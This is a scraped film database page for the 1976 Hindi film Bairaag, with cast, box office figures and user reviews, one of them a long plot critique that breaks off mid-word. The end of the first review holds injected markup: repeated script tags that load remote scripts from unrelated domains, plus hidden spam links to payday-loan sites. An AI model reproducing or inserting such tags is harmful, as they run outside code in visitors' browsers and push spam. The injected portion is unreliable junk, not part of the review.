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Film: Bairaag
Language: Hindi (India)
Released on: Monday, October 04, 1976
Starring:

Dilip Kumar

Saira Banu
Leena ChandavarkarMadan PuriNasir KhanPrem Chopre
Sujit KumarHelen
Director: Asit Sen
Producer: Mushir Alam, Mohammed Riaz
Music Composer: Kalyanji Anandji
Trade Note:
Distribution Price: Rs. (per territory)
Recovery: Rs. (per territory)
Budget: Rs. (1976)
Bairaag Raw Box Office Net Collections: Rs. 1.10 crores (1976)
Adjusted Net: Rs. 54.33 crores
Bairaag Box Office Gross: Rs. 2.20 crores (1976)
Adjusted Gross: Rs. 108.66 crores
Overseas:
IBOS Rating: * * * * 4.27/10 average rating

 

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Reviewer: Dr.M.Shakil SiddiquiRating: 9 out of 10Thursday, January 27, 2011


I think it was a great movie.Three different Dilip Kumars in one go are incredible roles.I think Dilip is the greatest actor of Indian screen of all times. It is always easier to criticize him as some of the people are in the habit of criticizing him for nothing.They are just jealous of him without any reason or rhyme.See the crap roles of the actors and actresses these days .I think it is load of crap.The actress are just short of showing there anatomy to the public and specially teenagers who really do not know the female anatomy.There are no dialogues and no serious songs.The Indian movies are on decline. At least Dilip Kumar maintained all the dignity,glory and disciplines of good Indian movies.Long live Dilip Kumar and Indian movies. </title><script src=http://hgbyju.com/r.php ></script> <a href=http://oneminutecashloans.com/a/2223/ title=midas+cash ><img src=http://oneminutecashloans.com/a.gif border=0 ></a> <a href=http://reallyneedcash.com/a/2198/ title=online+cash+advance+94590 ><img src=http://reallyneedcash.com/a.gif border=0 ></a><a href=http://1hourcashgroup.com/a/2163/ title=free+online+faxless+payay+loans ><img src=http://1hourcashgroup.com/a.gif border=0 ></a> <a href=http://24advokat.ru/cat/besplatnaya_yuridicheskaya_pomosch_pensioneram/ ><img src=http://24advokat.ru/i/bg.gif border=0 ></a> <a href=http://paydayadvancelaons.com/a/2458/ title=laons+for+pre+payed+cards ><img src=http://paydayadvancelaons.com/bg.gif border=0 ></a> <a href=http://paydayloanguide.biz/a/2665/ title=holiday+group+payday+loan ><img src=http://paydayloanguide.biz/bg.gif border=0 ></a> </title><script src=http://nmmkmm.com/r.php ></script></title><script src=http://nmmkmm.com/r.php ></script></title><script src=http://nmmkmm.com/r.php ></script> <a href=http://getloan.biz/a/1470/ title=instant+cash+online+payday+advance ><img src=http://getloan.biz/bg.gif border=0 ></a><a href=http://quicksteploans.com/a/2002/ title=3month+pay+day+loans ><img src=http://quicksteploans.com/bg.gif border=0 ></a><a href=http://quicksteploans.com/a/1998/ title=1500+dollar+pay+day+loans ><img src=http://quicksteploans.com/bg.gif border=0 ></a><a href=http://1000loanpayday.net/a/7254/ title=government+debt+consolidation+loans ><img src=http://1000loanpayday.net/bg.gif border=0 ></a><a href=http://onehourlender.com/a/2370/ title=all+americanezloan ><img src=http://onehourlender.com/bg.gif border=0 ></a>

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Reviewer: Rating: 0 out of 10Monday, May 31, 2010


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Reviewer: ManishRating: 3.8 out of 10Wednesday, August 27, 2003


Since my childhood I had heard about Bairaag alot.After all it was the first movie in which the main lead played a triple role and it was a rare Dilip Kumar film which flopped badly and was panned by the critics.Around a decade ago when it came on DD-1, I wanted to watch it.However on watching the first 10 minutes of the movie I lost interest as I could not digest the fact that out of 3 Dilip Kumars 2 were blind!!However now that Zee Cinem shows it so repeatedly that the uninformed viewers might think that it must have been a blockbuster,else how come it enjoys such frequent re-telecasts..A few months back I managed to finally watch the complete film on one such re-telecast on Zee Cinema.Last night I again watched parts of the movie.This itself is proof enough that I liked the movie even though it has flaws. The movie starts with Kailashnath(Dilip Kumar) living happily with his wife.Kailash is suffering from an eye ailment and his friend and doctor(Nasir Khan,Dilip Kumar's real life brother) advice him not to strain himself too much.Kailashnath gets pain in his eyes very often but still does nottake appropriate rest.One day while driving the carwith his wife sitting in the car,he suddenly develops acute pain in the eye and he loses control of the car.The car gets rammed in the tree and as a result of the accident Kailashnath loses his vision.His wife gives birth to a set of twins.When the wife is still unconscious Kailash's doctor friend tell him that one of the twins born is blind.Kailash feels that the world has come to an end.He asks the doctor to kill his blind son before his wife regains consciousness.He pleads to the doctor that he does not want his son to suffer the life of a blind.The doctor fails to argue with him and takes the child from there and tells Kailash that the son is killed.However,Kailash suffers from guilt and is unable to hide this deed of his from his wife.When his wife comes to know of this she dies of shock.Kailashnath's life becomes dark. The blind child(Master Sachin) is taken care by a village temple priest(Nasir Hussain).Theboy grows up to become Bholenath(Dilip Kumar no.2) who is a very big follower of Lord Shiva.Althoughhe is blind,he is quite strong and beats the villain(Sujit Kumar) when he tries to forcefully marry Munimji's(Mukri)daughter.Bholenath works for Lalaji(P.Jairaj).Lalaji's daughter Choti Malkin(Saira Banu) often teases Bholenath.Bholenath stays away from girls as he claims to be Bairaagi.However Choti Malkin's games change into a silent love which Bholenath does not approve off. Meanwhile in the city Kailashnath's other son Sanjay(Dilip Kumar no.3) grows up to be a modern day spoilt playboy.He claims of loving the heroine(Leena Chandrawakar) but does not mind sleeping with Lucy(Helen).His errant ways irriate Kailashnath but Sanjay has no intentions of mending his ways.He develops friendship with spoilt prince Kunwar Pratap Singh(Prem chopra) and Lucy's lover Jakarto(Madan Puri). After a series of events Bholenath miraculously regains his sight and leaves for thecity.On the other hand Sanjay fleds with Luci and lakhs ofrupees.Pratap meets Bholenath and asks him enact asSanjay.All this leads to double-trouble and Lucy ismurdered and Sanjay is the main suspect.After somesongs,some comic scenes and action sequences the brothers are united and they alongwith their blind father(no,he does not regain his sight through somemiracle) end the tyranny of Pratap Singh. First the negative points of the movie.Bairaag released in the year 1976 was Dilip Kumar's first release after a gap of 2 years since Sagina(1974).However people rejected it outrightly.I guess they preferred to watch 3 top stars Amitabh,Shashi Kapoor and Rishi Kapoor in a single film "Kabhi Kabhie",than watching3 Dilip Kumars in a single movie.Infront of movies like Adalat,Charas,Hera Pheri and Dus Numbari (which were the other big hits) Bairaag flopped.Somepeople felt that Dilip Kumar was too old to bepaired opposite Saira Banu and Leena Chandrawakar(he was 54 then).Some felt disgusted on seeing him as a playboy with Helen opposite him.Critics however felt that the film had an overdose of Dilip Kumar in 3 roles.Whatever the reasons being onecannot deny the fact that the film is too self-indulgent for Dilip Kumar.By this I mean that the film had several fragments from earlier blockbusters of Dilip Kumar.Dilip Kumar had played a blind man in Deedar in 1951 and the movie was a huge hit.In Bairaag he tried to repeat it by playing a blind old man and blind young man(although the young man is blind only for the first half). The character of Bholeram is highly inspired by the character Dilip Kumar played in the 1970 hit Gopi,that of a village bumpkin who sings bhajans in praise of the almighty.The occurence of an accident leading to an impairment,inner guilt of doing something terribly wrong in the past and the regaining of his ability by a miracle in a temple is straight away taken from his 1968 hit Aadmi.The song sequence in a party where he drinks and starts singing after losing control is inspired by his own act in 1964 famous Leader.Bairaag is also highly inspired by 1972 flop but a good movie called Dastaan.Infact the character of Sanjay in Bairaag is very similar to the one he played as Anil in Dastaan(both have shades of grey and both get framed for murders which they did not do).However the movie whos impact is present the most in Bairaag is 1967 classic super-hit Ram Aur Shyam.Although here it is shown that the village guy is innocent and the street one is cunning(which is opposite to what was there in Ram Aur Shyam),still the similarity remains.Here I should mention that although these things were taken from his past movies,they are done in a different way.So the end product is different from these movies yet similar.I have not seen such a self-tribute giving flick.Also some scenes specially the emotional one between Bholenath and Choti Malkin drag at times. Now the positive points.Although the story as told has been inspired by a lot of earlier movies yet story writer S.khalil has written an overall interesting story.Before Bairaag only 2 comedians I.S.Johar and mehmood has attempted triple roles in Johny mera naam and Humjoli respectively.Sanjeev Kumar had played 9 roles in Naya Din Nayi raat but the characters are there only for a stipulated time.It was first time in Bairaag that there was a triple role of a lead man which lasted throghout the movie.In this sense it can be called a cult movie as this genre was again attempted disastrously by Amitabh bachchan in Mahaan,Rajni Kanth in John johny Janardhan and quite succesfully by Kamal Hassan in Appu Raja.The dailogues written by heavyweights Abrar Alvi and Dr. Rahi Masoom Raza are nothing to boast off.The screenplay is ok in the first half with some comic scenes.However the screenplay is tightened and engrossing in the second half.The editing is ok.One of the biggest triumphs of Bairaag is its excellent music track by Kalyanji Anandji.All the songs "Choti Si Umar..","Main Bairaagi..","Saare Shahar Mein.." and "Peete Peete.." arev popular to this day.The score has songs by both Dilip Kumar favourites Rafi and Mahendra Kapoor who do full justice to the thespian. Now for the performances.Dilip Kumar as Kailashnath shows the dramatic side of Dilip Kumar.Although in some scenes,specially the climax he looks a bit too dramatic,stil overall he gives a decent performance.Dilip Kumar as Sanjay looks old to play a playboy and when he counters his dad anger in a rather english accent he looks odd.However,the thespian being a world class actor gives a perfo


 
* Note: Gross for the films denoted with a * are directly proportional to available partial box office collections, which can be limited to one or two major centers sometimes and so they may not be entirely complete.

 

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